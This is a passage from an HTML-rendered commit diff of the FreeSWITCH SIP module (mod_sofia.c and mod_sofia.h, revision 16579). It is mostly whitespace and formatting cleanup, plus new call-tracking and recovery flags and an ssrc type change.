</span><span class="cx"> {
</span><span class="cx">         switch_call_cause_t cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">         switch_core_session_t *nsession = NULL;
</span><del>-        char *data, *profile_name, *dest;//, *dest_num = NULL;
</del><ins>+        char *data, *profile_name, *dest;        //, *dest_num = NULL;
</ins><span class="cx">         sofia_profile_t *profile = NULL;
</span><span class="cx">         switch_caller_profile_t *caller_profile = NULL;
</span><span class="cx">         private_object_t *tech_pvt = NULL;
</span><span class="lines">@@ -3060,7 +3106,7 @@
</span><span class="cx">         char *host = NULL, *dest_to = NULL;
</span><span class="cx">         const char *hval = NULL;
</span><span class="cx">         char *not_const = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">         *new_session = NULL;
</span><span class="cx">
</span><span class="cx">         if (!outbound_profile || zstr(outbound_profile->destination_number)) {
</span><span class="lines">@@ -3175,7 +3221,7 @@
</span><span class="cx">                 if ((host = switch_core_session_strdup(nsession, tech_pvt->dest))) {
</span><span class="cx">                         char *pp = strchr(host, '@');
</span><span class="cx">                         if (pp) {
</span><del>-                                host = pp+1;
</del><ins>+                                host = pp + 1;
</ins><span class="cx">                         } else {
</span><span class="cx">                                 host = NULL;
</span><span class="cx">                                 dest_to = NULL;
</span><span class="lines">@@ -3187,9 +3233,9 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         tech_pvt->invite_contact = switch_core_session_strdup(nsession, gateway_ptr->register_contact);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 gateway_ptr->ob_calls++;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!zstr(gateway_ptr->from_domain) && !switch_channel_get_variable(nchannel, "sip_invite_domain")) {
</span><span class="cx">                         switch_channel_set_variable(nchannel, "sip_invite_domain", gateway_ptr->from_domain);
</span><span class="cx">                 }
</span><span class="lines">@@ -3197,10 +3243,10 @@
</span><span class="cx">                 if (!zstr(gateway_ptr->outbound_sticky_proxy) && !switch_channel_get_variable(nchannel, "sip_route_uri")) {
</span><span class="cx">                         switch_channel_set_variable(nchannel, "sip_route_uri", gateway_ptr->outbound_sticky_proxy);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (gateway_ptr->ob_vars) {
</span><span class="cx">                         switch_event_header_t *hp;
</span><del>-                        for(hp = gateway_ptr->ob_vars->headers; hp; hp = hp->next) {
</del><ins>+                        for (hp = gateway_ptr->ob_vars->headers; hp; hp = hp->next) {
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setting variable [%s]=[%s]\n",
</span><span class="cx">                                                                  switch_channel_get_name(nchannel), hp->name, hp->value);
</span><span class="cx">                                 switch_channel_set_variable(nchannel, hp->name, hp->value);
</span><span class="lines">@@ -3288,29 +3334,28 @@
</span><span class="cx">         dest_num = switch_core_session_strdup(nsession, dest);
</span><span class="cx">         if ((p = strchr(dest_num, '@'))) {
</span><span class="cx">                 *p = '\0';
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((p = strrchr(dest_num, '/'))) {
</span><span class="cx">                         dest_num = p + 1;
</span><del>-                } else if ((p = (char *)switch_stristr("sip:", dest_num))) {
</del><ins>+                } else if ((p = (char *) switch_stristr("sip:", dest_num))) {
</ins><span class="cx">                         dest_num = p + 4;
</span><del>-                } else if ((p = (char *)switch_stristr("sips:", dest_num))) {
</del><ins>+                } else if ((p = (char *) switch_stristr("sips:", dest_num))) {
</ins><span class="cx">                         dest_num = p + 5;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         caller_profile = switch_caller_profile_clone(nsession, outbound_profile);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         caller_profile->destination_number = switch_sanitize_number(caller_profile->destination_number);
</span><del>-        not_const = (char *)caller_profile->caller_id_name;
</del><ins>+        not_const = (char *) caller_profile->caller_id_name;
</ins><span class="cx">         caller_profile->caller_id_name = switch_sanitize_number(not_const);
</span><del>-        not_const = (char *)caller_profile->caller_id_number;
</del><ins>+        not_const = (char *) caller_profile->caller_id_number;
</ins><span class="cx">         caller_profile->caller_id_number = switch_sanitize_number(not_const);
</span><del>-        
</del><ins>+
</ins><span class="cx">         //caller_profile->destination_number = switch_core_strdup(caller_profile->pool, dest_num);
</span><span class="cx">         switch_channel_set_caller_profile(nchannel, caller_profile);
</span><del>-        switch_channel_set_flag(nchannel, CF_OUTBOUND);
</del><span class="cx">         sofia_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">         sofia_clear_flag_locked(tech_pvt, TFLAG_LATE_NEGOTIATION);
</span><span class="cx">         if (switch_channel_get_state(nchannel) == CS_NEW) {
</span><span class="lines">@@ -3333,12 +3378,12 @@
</span><span class="cx">                 switch_channel_set_variable(nchannel, "sip_invite_params", "intercom=true");
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (((hval = switch_event_get_header(var_event, "effective_callee_id_name")) ||
</del><ins>+        if (((hval = switch_event_get_header(var_event, "effective_callee_id_name")) ||
</ins><span class="cx">                  (hval = switch_event_get_header(var_event, "sip_callee_id_name"))) && !zstr(hval)) {
</span><span class="cx">                 caller_profile->callee_id_name = switch_core_strdup(caller_profile->pool, hval);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (((hval = switch_event_get_header(var_event, "effective_callee_id_number")) ||
</del><ins>+        if (((hval = switch_event_get_header(var_event, "effective_callee_id_number")) ||
</ins><span class="cx">                  (hval = switch_event_get_header(var_event, "sip_callee_id_number"))) && !zstr(hval)) {
</span><span class="cx">                 caller_profile->callee_id_number = switch_core_strdup(caller_profile->pool, hval);
</span><span class="cx">         }
</span><span class="lines">@@ -3351,17 +3396,17 @@
</span><span class="cx">                         switch_channel_set_variable_printf(nchannel, "sip_h_Call-Info", "<sip:%s>;answer-after=0", profile->sipip);
</span><span class="cx">                         switch_channel_set_variable(nchannel, "sip_invite_params", "intercom=true");
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_ivr_transfer_variable(session, nsession, SOFIA_REPLACES_HEADER);
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, "sip_auto_answer");
</span><span class="cx">                 if (!(vval = switch_channel_get_variable(o_channel, "sip_copy_custom_headers")) || switch_true(vval)) {
</span><del>-                        switch_ivr_transfer_variable(session, nsession, SOFIA_SIP_HEADER_PREFIX_T);                        
</del><ins>+                        switch_ivr_transfer_variable(session, nsession, SOFIA_SIP_HEADER_PREFIX_T);
</ins><span class="cx">                 }
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, "sip_video_fmtp");
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, "sip-force-contact");
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, "sip_sticky_contact");
</span><span class="cx">                 switch_ivr_transfer_variable(session, nsession, "sip_cid_type");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_session_compare(session, nsession)) {
</span><span class="cx">                         /* It's another sofia channel! so lets cache what they use as a pt for telephone event so
</span><span class="cx">                          we can keep it the same
</span><span class="lines">@@ -3372,7 +3417,7 @@
</span><span class="cx">                         tech_pvt->bte = ctech_pvt->te;
</span><span class="cx">                         tech_pvt->bcng_pt = ctech_pvt->cng_pt;
</span><span class="cx">                         tech_pvt->cid_type = ctech_pvt->cid_type;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (sofia_test_flag(tech_pvt, TFLAG_ENABLE_SOA)) {
</span><span class="cx">                                 sofia_set_flag(ctech_pvt, TFLAG_ENABLE_SOA);
</span><span class="cx">                         } else {
</span><span class="lines">@@ -3429,47 +3474,36 @@
</span><span class="cx">         char *es = argv[5];
</span><span class="cx">         char *body = argv[6];
</span><span class="cx">         char *id = NULL;
</span><del>-        char *p , *contact;
</del><ins>+        char *p, *contact;
</ins><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (profile_name && strcasecmp(profile_name, profile->name)) {
</span><del>- if ((ext_profile = sofia_glue_find_profile(profile_name))) {
- profile = ext_profile;
- }
- }
</del><ins>+                if ((ext_profile = sofia_glue_find_profile(profile_name))) {
+                        profile = ext_profile;
+                }
+        }
</ins><span class="cx">
</span><span class="cx">         id = switch_mprintf("sip:%s@%s", user, host);
</span><span class="cx">         switch_assert(id);
</span><span class="cx">         contact = sofia_glue_get_url_from_contact(contact_in, 1);
</span><del>-                                
</del><ins>+
</ins><span class="cx">         if ((p = strstr(contact, ";fs_"))) {
</span><span class="cx">                 *p = '\0';
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        nh = nua_handle(profile->nua,
-                                        NULL,
-                                        NUTAG_URL(contact),
-                                        SIPTAG_FROM_STR(id),
-                                        SIPTAG_TO_STR(id),
-                                        SIPTAG_CONTACT_STR(profile->url),
-                                        TAG_END());
-                                
</del><ins>+        nh = nua_handle(profile->nua, NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(profile->url), TAG_END());
+
</ins><span class="cx">         nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
</span><span class="cx">
</span><del>-        nua_notify(nh,
-                         NUTAG_NEWSUB(1),
-                         SIPTAG_EVENT_STR(es),
-                         SIPTAG_CONTENT_TYPE_STR(ct),
-                         TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                         TAG_END());
</del><ins>+        nua_notify(nh, NUTAG_NEWSUB(1), SIPTAG_EVENT_STR(es), SIPTAG_CONTENT_TYPE_STR(ct), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
</ins><span class="cx">
</span><del>-                                
</del><ins>+
</ins><span class="cx">         free(id);
</span><span class="cx">         free(contact);
</span><span class="cx">
</span><span class="cx">         if (ext_profile) {
</span><span class="cx">                 sofia_glue_release_profile(ext_profile);
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -3493,17 +3527,17 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">                         if (to_uri || from_uri) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!to_uri) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing To-URI header\n");
</span><span class="cx">                                         return;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!from_uri) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing From-URI header\n");
</span><span class="cx">                                         return;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!es) {
</span><span class="cx">                                         es = "message-summary";
</span><span class="cx">                                 }
</span><span class="lines">@@ -3515,32 +3549,29 @@
</span><span class="cx">                                 if (!profile_name) {
</span><span class="cx">                                         profile_name = "default";
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!(profile = sofia_glue_find_profile(profile_name))) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile %s\n", profile_name);
</span><span class="cx">                                         return;
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (to_uri && from_uri && ct && es && profile_name && (profile = sofia_glue_find_profile(profile_name))) {
</span><del>-                                        nua_handle_t *nh = nua_handle(profile->nua,
-                                                                                                 NULL,
-                                                                                                 NUTAG_URL(to_uri),
-                                                                                                 SIPTAG_FROM_STR(from_uri),
-                                                                                                 SIPTAG_TO_STR(to_uri),
-                                                                                                 SIPTAG_CONTACT_STR(profile->url),
</del><ins>+                                        nua_handle_t *nh = nua_handle(profile->nua,
+                                                                                                 NULL,
+                                                                                                 NUTAG_URL(to_uri),
+                                                                                                 SIPTAG_FROM_STR(from_uri),
+                                                                                                 SIPTAG_TO_STR(to_uri),
+                                                                                                 SIPTAG_CONTACT_STR(profile->url),
</ins><span class="cx">                                                                                                  TAG_END());
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         nua_notify(nh,
</span><span class="cx">                                                          NUTAG_NEWSUB(1),
</span><span class="cx">                                                          NUTAG_WITH_THIS(profile->nua),
</span><del>-                                                         SIPTAG_EVENT_STR(es),
-                                                         TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)),
-                                                         TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                                                         TAG_END());
-                                
</del><ins>+                                                         SIPTAG_EVENT_STR(es), TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
+
</ins><span class="cx">                                         sofia_glue_release_profile(profile);
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -3555,10 +3586,7 @@
</span><span class="cx">                                         if ((tech_pvt = switch_core_session_get_private(session))) {
</span><span class="cx">                                                 nua_notify(tech_pvt->nh,
</span><span class="cx">                                                                  NUTAG_NEWSUB(1),
</span><del>-                                                                 SIPTAG_EVENT_STR(es),
-                                                                 SIPTAG_CONTENT_TYPE_STR(ct),
-                                                                 TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                                                                 TAG_END());
</del><ins>+                                                                 SIPTAG_EVENT_STR(es), SIPTAG_CONTENT_TYPE_STR(ct), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_core_session_rwunlock(session);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3567,24 +3595,23 @@
</span><span class="cx">
</span><span class="cx">                                 if (call_id) {
</span><span class="cx">                                         sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,'%q','%q','%q' "
</span><del>-                                                                                 "from sip_registrations where call_id='%q'", ct, es, switch_str_nil(body), call_id
-                                                                                 );
</del><ins>+                                                                                 "from sip_registrations where call_id='%q'", ct, es, switch_str_nil(body), call_id);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         if (!strcasecmp(es, "message-summary")) {
</span><span class="cx">                                                 sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,'%q','%q','%q' "
</span><del>-                                                                "from sip_registrations where mwi_user='%s' and mwi_host='%q'",
-                                                                ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
-                                                                );
</del><ins>+                                                                                         "from sip_registrations where mwi_user='%s' and mwi_host='%q'",
+                                                                                         ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
+                                                        );
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 sql = switch_mprintf("select sip_user,sip_host,contact,profile_name,'%q','%q','%q' "
</span><del>-                                                                "from sip_registrations where sip_user='%s' and sip_host='%q'",
-                                                                ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
-                                                                );
</del><ins>+                                                                                         "from sip_registrations where sip_user='%s' and sip_host='%q'",
+                                                                                         ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
+                                                        );
</ins><span class="cx">
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                                 switch_mutex_lock(profile->ireg_mutex);
</span><span class="cx">                                 sofia_glue_execute_sql_callback(profile, NULL, sql, notify_callback, profile);
</span><span class="cx">                                 switch_mutex_unlock(profile->ireg_mutex);
</span><span class="lines">@@ -3592,7 +3619,7 @@
</span><span class="cx">
</span><span class="cx">                                 free(sql);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_SEND_MESSAGE:
</span><span class="lines">@@ -3625,26 +3652,17 @@
</span><span class="cx">
</span><span class="cx">                                 switch_assert(id);
</span><span class="cx">                                 contact = sofia_glue_get_url_from_contact(buf, 0);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((p = strstr(contact, ";fs_"))) {
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                 }
</span><del>-                                
-                                nh = nua_handle(profile->nua,
-                                                                NULL,
-                                                                NUTAG_URL(contact),
-                                                                SIPTAG_FROM_STR(id),
-                                                                SIPTAG_TO_STR(id),
-                                                                SIPTAG_CONTACT_STR(profile->url),
-                                                                TAG_END());
-                                
-                                nua_message(nh,
-                                                        NUTAG_NEWSUB(1),
-                                                         SIPTAG_CONTENT_TYPE_STR(ct),
-                                                        TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                                                        TAG_END());
</del><span class="cx">
</span><del>-                                
</del><ins>+                                nh = nua_handle(profile->nua,
+                                                                NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(profile->url), TAG_END());
+
+                                nua_message(nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR(ct), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
+
+
</ins><span class="cx">                                 free(id);
</span><span class="cx">                                 sofia_glue_release_profile(profile);
</span><span class="cx">                         }
</span><span class="lines">@@ -3671,25 +3689,25 @@
</span><span class="cx">                         char *p;
</span><span class="cx">
</span><span class="cx">                         if (!profile_name) {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing Profile Name\n");
- goto done;
- }
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing Profile Name\n");
+                                goto done;
+                        }
</ins><span class="cx">
</span><del>- if (!call_id && !to_uri && !local_user_full) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing To-URI header\n");
- goto done;
- }
</del><ins>+                        if (!call_id && !to_uri && !local_user_full) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing To-URI header\n");
+                                goto done;
+                        }
</ins><span class="cx">
</span><del>- if (!call_id && !from_uri) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing From-URI header\n");
- goto done;
- }
</del><ins>+                        if (!call_id && !from_uri) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing From-URI header\n");
+                                goto done;
+                        }
</ins><span class="cx">
</span><span class="cx">
</span><del>- if (!(profile = sofia_glue_find_profile(profile_name))) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile %s\n", profile_name);
- goto done;
- }
</del><ins>+                        if (!(profile = sofia_glue_find_profile(profile_name))) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile %s\n", profile_name);
+                                goto done;
+                        }
</ins><span class="cx">
</span><span class="cx">                         if (call_id) {
</span><span class="cx">                                 nh = nua_handle_by_call_id(profile->nua, call_id);
</span><span class="lines">@@ -3705,28 +3723,23 @@
</span><span class="cx">                                         if ((local_host = strchr(local_user, '@'))) {
</span><span class="cx">                                                 *local_host++ = '\0';
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!local_user || !local_host || !sofia_reg_find_reg_url(profile, local_user, local_host, buf, sizeof(buf))) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find local user\n");
</span><span class="cx">                                                 goto done;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         to_uri = sofia_glue_get_url_from_contact(buf, 0);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((p = strstr(to_uri, ";fs_"))) {
</span><span class="cx">                                                 *p = '\0';
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                nh = nua_handle(profile->nua,
-                                                                NULL,
-                                                                NUTAG_URL(to_uri),
-                                                                SIPTAG_FROM_STR(from_uri),
-                                                                SIPTAG_TO_STR(to_uri),
-                                                                SIPTAG_CONTACT_STR(profile->url),
-                                                                TAG_END());
-                                
</del><ins>+                                nh = nua_handle(profile->nua,
+                                                                NULL, NUTAG_URL(to_uri), SIPTAG_FROM_STR(from_uri), SIPTAG_TO_STR(to_uri), SIPTAG_CONTACT_STR(profile->url), TAG_END());
+
</ins><span class="cx">                                 nua_handle_bind(nh, &mod_sofia_globals.destroy_private);
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -3735,9 +3748,7 @@
</span><span class="cx">                                          TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)),
</span><span class="cx">                                          TAG_IF(cd, SIPTAG_CONTENT_DISPOSITION_STR(cd)),
</span><span class="cx">                                          TAG_IF(alert_info, SIPTAG_ALERT_INFO_STR(alert_info)),
</span><del>-                                         TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
-                                         TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                                         TAG_END());
</del><ins>+                                         TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
</ins><span class="cx">
</span><span class="cx">                         if (call_id && nh) {
</span><span class="cx">                                 nua_handle_unref(nh);
</span><span class="lines">@@ -3746,11 +3757,11 @@
</span><span class="cx">                         if (profile) {
</span><span class="cx">                                 sofia_glue_release_profile(profile);
</span><span class="cx">                         }
</span><del>-                        
-                done:
</del><span class="cx">
</span><ins>+                 done:
+
</ins><span class="cx">                         switch_safe_free(local_dup);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_TRAP:
</span><span class="lines">@@ -3804,7 +3815,7 @@
</span><span class="cx">                                 switch_mutex_unlock(mod_sofia_globals.hash_mutex);
</span><span class="cx">                                 sofia_glue_restart_all_profiles();
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="lines">@@ -3826,7 +3837,7 @@
</span><span class="cx">                 switch_hash_this(hi, &vvar, NULL, &val);
</span><span class="cx">                 profile = (sofia_profile_t *) val;
</span><span class="cx">                 if (sofia_test_pflag(profile, PFLAG_RUNNING)) {
</span><del>-                        switch_console_push_match(&my_matches, (const char *)vvar);
</del><ins>+                        switch_console_push_match(&my_matches, (const char *) vvar);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(mod_sofia_globals.hash_mutex);
</span><span class="lines">@@ -3866,7 +3877,7 @@
</span><span class="cx">                 *matches = my_matches;
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -3886,7 +3897,7 @@
</span><span class="cx">
</span><span class="cx">         dup = strdup(line);
</span><span class="cx">         argc = switch_split(dup, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(argv[2]) || !strcmp(argv[2], " ")) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -3903,9 +3914,9 @@
</span><span class="cx">                 *matches = my_matches;
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
- end:
</del><span class="cx">
</span><ins>+ end:
+
</ins><span class="cx">         switch_safe_free(dup);
</span><span class="cx">
</span><span class="cx">         return status;
</span><span class="lines">@@ -4025,7 +4036,8 @@
</span><span class="cx">         management_interface->management_function = sofia_manage;
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_API(api_interface, "sofia", "Sofia Controls", sofia_function, "<cmd> <args>");
</span><del>-        SWITCH_ADD_API(api_interface, "sofia_gateway_data", "Get data from a sofia gateway", sofia_gateway_data_function, "<gateway_name> [ivar|ovar|var] <name>");
</del><ins>+        SWITCH_ADD_API(api_interface, "sofia_gateway_data", "Get data from a sofia gateway", sofia_gateway_data_function,
+                                 "<gateway_name> [ivar|ovar|var] <name>");
</ins><span class="cx">         switch_console_set_complete("add sofia help");
</span><span class="cx">         switch_console_set_complete("add sofia status");
</span><span class="cx">         switch_console_set_complete("add sofia xmlstatus");
</span><span class="lines">@@ -4084,7 +4096,7 @@
</span><span class="cx">         switch_event_unbind(&mod_sofia_globals.custom_node);
</span><span class="cx">         switch_event_unbind(&mod_sofia_globals.mwi_node);
</span><span class="cx">         switch_event_unbind_callback(general_event_handler);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (mod_sofia_globals.threads) {
</span><span class="cx">                 switch_cond_next();
</span><span class="cx">                 if (++sanity >= 60000) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiamod_sofiah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -205,6 +205,7 @@
</span><span class="cx">         PFLAG_SQL_IN_TRANS,
</span><span class="cx">         PFLAG_PASS_CALLEE_ID,
</span><span class="cx">         PFLAG_LOG_AUTH_FAIL,
</span><ins>+        PFLAG_TRACK_CALLS,
</ins><span class="cx">         /* No new flags below this line */
</span><span class="cx">         PFLAG_MAX
</span><span class="cx"> } PFLAGS;
</span><span class="lines">@@ -258,6 +259,9 @@
</span><span class="cx">         TFLAG_PASS_RFC2833,
</span><span class="cx">         TFLAG_UPDATING_DISPLAY,
</span><span class="cx">         TFLAG_ENABLE_SOA,
</span><ins>+        TFLAG_TRACKED,
+        TFLAG_RECOVERING,
+        TFLAG_RECOVERING_BRIDGE,
</ins><span class="cx">         /* No new flags below this line */
</span><span class="cx">         TFLAG_MAX
</span><span class="cx"> } TFLAGS;
</span><span class="lines">@@ -343,8 +347,8 @@
</span><span class="cx"> struct sofia_gateway_subscription {
</span><span class="cx">         sofia_gateway_t *gateway;
</span><span class="cx">         char *expires_str;
</span><del>-        char *event; /* eg, 'message-summary' to subscribe to MWI events */
-        char *content_type; /* eg, application/simple-message-summary in the case of MWI events */
</del><ins>+        char *event;                                /* eg, 'message-summary' to subscribe to MWI events */
+        char *content_type;                        /* eg, application/simple-message-summary in the case of MWI events */
</ins><span class="cx">         uint32_t freq;
</span><span class="cx">         int32_t retry_seconds;
</span><span class="cx">         time_t expires;
</span><span class="lines">@@ -501,7 +505,7 @@
</span><span class="cx">         char *odbc_dsn;
</span><span class="cx">         char *odbc_user;
</span><span class="cx">         char *odbc_pass;
</span><del>-        //        switch_odbc_handle_t *master_odbc;
</del><ins>+        // switch_odbc_handle_t *master_odbc;
</ins><span class="cx">         switch_queue_t *sql_queue;
</span><span class="cx">         char *acl[SOFIA_MAX_ACL];
</span><span class="cx">         uint32_t acl_count;
</span><span class="lines">@@ -548,7 +552,8 @@
</span><span class="cx">         switch_caller_profile_t *caller_profile;
</span><span class="cx">         uint32_t timestamp_send;
</span><span class="cx">         switch_rtp_t *rtp_session;
</span><del>-        int ssrc;
</del><ins>+        uint32_t ssrc;
+        uint32_t video_ssrc;
</ins><span class="cx">         sofia_profile_t *profile;
</span><span class="cx">         char *local_sdp_audio_ip;
</span><span class="cx">         switch_port_t local_sdp_audio_port;
</span><span class="lines">@@ -683,10 +688,10 @@
</span><span class="cx"> } auth_res_t;
</span><span class="cx">
</span><span class="cx"> typedef struct {
</span><del>- char *to;
- char *contact;
- char *route;
- char *route_uri;
</del><ins>+        char *to;
+        char *contact;
+        char *route;
+        char *route_uri;
</ins><span class="cx"> } sofia_destination_t;
</span><span class="cx">
</span><span class="cx"> #define sofia_test_pflag(obj, flag) ((obj)->pflags[flag] ? 1 : 0)
</span><span class="lines">@@ -734,21 +739,23 @@
</span><span class="cx">
</span><span class="cx"> void sofia_handle_sip_i_info(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, switch_core_session_t *session, sip_t const *sip, tagi_t tags[]);
</span><span class="cx">
</span><del>-void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                         tagi_t tags[]);
</ins><span class="cx">
</span><del>-void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
